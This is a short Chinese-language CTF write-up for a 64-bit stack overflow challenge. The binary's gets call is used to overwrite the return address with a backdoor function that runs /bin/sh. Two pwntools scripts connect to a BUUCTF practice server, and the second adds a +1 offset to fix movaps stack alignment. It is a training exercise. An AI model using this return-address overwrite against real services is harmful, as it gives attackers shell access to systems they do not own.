使用linux的file命令查看基本信息
64位
使用IDA64位进行反编译
看到gets就肯定有栈溢出
能看到有一个 _system函数,改函数能执行系统命令
既然反编译有这个函数说明有地方调用了他
果然在一个fun函数中有调用,执行的命令是 /bin/sh
也就是一个后门函数,直接可以拿到shell
我们只需要将函数的返回地址覆盖成这个这个函数的地址即可
使用pwntools
from pwn import *
context.arch = 'amd64'
p = remote('node4.buuoj.cn',27079)
elf = ELF(file)
fun = elf.symbols['fun'] # 获取fun函数的符号地址
p.sendline(flat(['a'*0xf , 'a'*8 , fun]))
p.interactive()
执行你就会发现交互失败
这是因为栈未对齐
详细可以参考以下地址
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题
简单来说就是在调用system函数的时候有一条 movaps
的指令,它要求栈16位对齐
一般64位的程序栈都是以8字节为单位,像push,pop,都是在操作8字节的数据来改变栈
所以可以对system地址处的地址 + 1
少一个push操作那么就可以16位对齐了
from pwn import *
context.arch = 'amd64'
p = remote('node4.buuoj.cn',27079)
elf = ELF(file)
fun = elf.symbols['fun']
p.sendline(flat(['a'*0xf , 'a'*8 , fun+1])) # 地址+1
p.interactive()
这里用的是python3的pwntools